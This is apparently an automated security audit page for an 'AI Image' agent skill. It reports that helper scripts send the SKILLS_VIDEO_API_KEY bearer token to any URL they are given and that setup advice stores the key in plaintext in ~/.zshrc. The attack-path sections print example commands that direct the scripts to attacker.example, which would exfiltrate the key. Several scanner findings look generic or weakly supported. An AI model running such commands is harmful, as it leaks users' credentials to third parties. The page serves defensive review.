Back to skill

Security audit

AI Image

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its image-generation purpose, but it can send the user's API key to an unintended network destination if endpoint options are misused.

Review this skill before installing. Use it only with the intended open.skills.video API, avoid passing full custom URLs or untrusted base URLs, and store SKILLS_VIDEO_API_KEY in managed skill environment settings rather than shell profile files.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/create_and_wait.py:63
Finding

Bearer Token and Generation Payload Can Be Sent to an Arbitrary URL

Content
View full analysis
str: if endpoint.startswith("http://") or endpoint.startswith("https://"): return endpoint if not endpoint.startswith("/"): endpoint = "/" + endpoint return f"{base_url.rstrip('/')}{endpoint}" ``` ```python req = request.Request( url, headers={ "Authorization": f"Bearer {api_key}", "Accept": "text/event-stream", "Content-Type": "application/json", }, data=json.dumps(payload).encode("utf-8"), method="POST", ) ``` ### Technical Analysis The `--sse-endpoint` argument may be a full URL. `endpoint_url()` returns any value beginning with `http://` or `https://` without validating its hostname or transport security. `run_sse()` subsequently attaches the `SKILLS_VIDEO_API_KEY` bearer token and generation payload to the request. The declared functionality only requires authenticated communication with `https://open.skills.video`. Allowing arbitrary hosts is unnecessary and violates least-privilege destination scoping. Allowing plaintext HTTP additionally permits interception of the credential and payload by an on-path attacker. An untrusted endpoint value could originate from user input, copied instructions, or untrusted API metadata. No code execution is needed to exploit the issue. ### Attack Path 1. The attacker induces the user or agent to supply an attacker-controlled absolute endpoint, for example: ```bash python scripts/create_and_wait.py \ --sse-endpoint https://attacker.example/collect \ --payload '{"prompt":"confidential prompt"}' ``` 2. `endpoint_url()` accepts the absolute URL unchanged. 3. `run_sse()` reads `SKILLS_VIDEO_API_KEY` from the process environment. 4. The helper sends both `Aut ...[truncated 889 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/wait_generation.py:80
Finding

Polling Helper Sends the API Key to an Unrestricted Base URL

Content
View full analysis
tuple[int, Any]: url = f"{base_url.rstrip('/')}/generation/{generation_id}" req = request.Request( url, headers={ "Authorization": f"Bearer {api_key}", "Accept": "application/json", }, method="GET", ) try: with request.urlopen(req, timeout=request_timeout) as resp: raw = resp.read().decode("utf-8", errors="replace") return resp.getcode(), parse_json_or_text(raw) except error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace") return exc.code, parse_json_or_text(body) ``` ```python parser.add_argument("--base-url", default="https://open.skills.video/api/v1") ``` ### Technical Analysis The polling helper accepts an unrestricted `--base-url` and sends the bearer token to the resulting URL on every poll. It performs no scheme, hostname, port, or path validation. This behavior is also reachable through the automatic fallback in `scripts/create_and_wait.py`, which forwards its own `--base-url` value to `wait_generation.py`. Consequently, both direct polling and SSE fallback can disclose the API key to an arbitrary host. The documented platform contract identifies `https://open.skills.video/api/v1` as the API base. Arbitrary authenticated polling destinations are therefore broader than necessary for the Skill’s declared operation. ### Attack Path 1. The attacker causes the helper to be invoked with a malicious base URL: ```bash python scripts/wait_generation.py \ --generation-id example-id \ --base-url https://attacker.example/api/v1 ``` 2. The helper constructs: `` ...[truncated 1061 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Note
Location
scripts/ensure_api_key.py:39
Finding

API-Key Setup Guidance Recommends Persistent Plaintext Secret Storage

Content
View full analysis
\"", "echo 'export SKILLS_VIDEO_API_KEY=\"\"' >> ~/.zshrc && source ~/.zshrc", ], ``` ### Technical Analysis The setup output recommends appending the API key to `~/.zshrc`. This creates a persistent plaintext copy of a long-lived credential. Shell profiles are frequently included in backups, support archives, dotfile repositories, and workstation synchronization systems. They may also be readable by other processes operating under the same user account. This recommendation conflicts with the Skill metadata’s safer guidance to use OpenClaw-managed environment configuration and not hardcode the key in files. The script does not itself write the secret or print an existing key. Exploitation therefore depends on a user following the emitted command. ### Attack Path 1. A user runs `scripts/ensure_api_key.py` without the required key. 2. The script displays the command that appends the key to `~/.zshrc`. 3. The user substitutes the real key and executes the command. 4. The key remains stored in plaintext across sessions. 5. An attacker obtains the shell profile through local account compromise, an overly broad backup, a dotfile repository, synchronization, or accidental diagnostic disclosure. 6. The attacker reuses the key against the API. ### Impact Assessment Exposure of the shell profile can reveal the complete API key, allowing unauthorized API activity and credit consumption within the key’s permissions. This finding does not independently grant access to files or accounts that the attacker could not already read, but it increases the persistence and exposure surface of the credential. ]]>
Remediation
View remediation
Vulnerability Patterns
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (8)

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The declared description promises functionality around constructing and executing skills.video image generation REST requests from OpenAPI specifications. The supplied code does not do any request building, OpenAPI parsing, HTTP calling, or image generation interaction. Its sole function is to verify presence of an environment variable and provide instructions for obtaining and setting an API key. While API-key checking could be a supporting utility within such a skill, this code chunk by itself materially differs from the declared primary purpose, so it should be flagged as a mismatch.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The declared description says this skill is for building and executing skills.video image generation REST requests from OpenAPI specs. The provided code instead implements a command-line utility for post hoc runtime error handling: it reads an HTTP status and response body, extracts an error message, classifies errors such as insufficient credits/auth/validation/transient failures, and prints diagnostic guidance plus a credits-check curl command. This is materially different from generating or executing image-generation API calls. While the code is related to the same service domain (skills.video) and may support debugging, its primary purpose and capabilities are not accurately represented by the declared description.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The declared description emphasizes building and executing image generation REST requests from OpenAPI specs, implying request construction/invocation for generation itself and possibly debugging/documentation. The supplied code does not build requests from OpenAPI specs or submit image generation jobs. Instead, its primary purpose is to monitor an already-created generation task by polling a status endpoint until success, failure, cancellation, or timeout. While this is related to the same service domain, it is a materially different function and an undeclared capability compared with the stated purpose.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill instructs use of shell, network access, file reads, and environment secrets (SKILLS_VIDEO_API_KEY) but does not declare any explicit tool scope or allowed-tools boundary. In an agent ecosystem, this increases the chance of overbroad execution, accidental secret exposure, or misuse of host capabilities because the runtime cannot enforce least-privilege constraints from the skill manifest.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The default invocation phrase is very broad and maps generic image-creation requests directly to this skill, which can cause unintentional invocation when a user simply asks for images. This is risky because it can override more precise routing, surprise users, and trigger external API actions without sufficiently explicit intent for this specific provider or workflow.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/create_and_wait.py (reported line 311)May include surrounding context.

python
}
    )

    result = subprocess.run(cmd, check=False)
    emit(
        {
            "event": "fallback_polling_end",

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · scripts/ensure_api_key.py (reported line 36)May include surrounding context.

python
"dashboard_url": "https://skills.video/dashboard/developer",
                "how_to_get_key": [
                    "Sign in at the dashboard URL.",
                    "Click 'Create API Key'.",
                    "Copy the generated key.",
                ],
                "set_env_examples": [

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
93% confidence
Finding

The script emits all actionable guidance strings in English for every error category, such as recharge, authentication, and retry instructions. This is a natural-language locale choice embedded in the skill with no indication that users can select another language or that English is a justified requirement.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.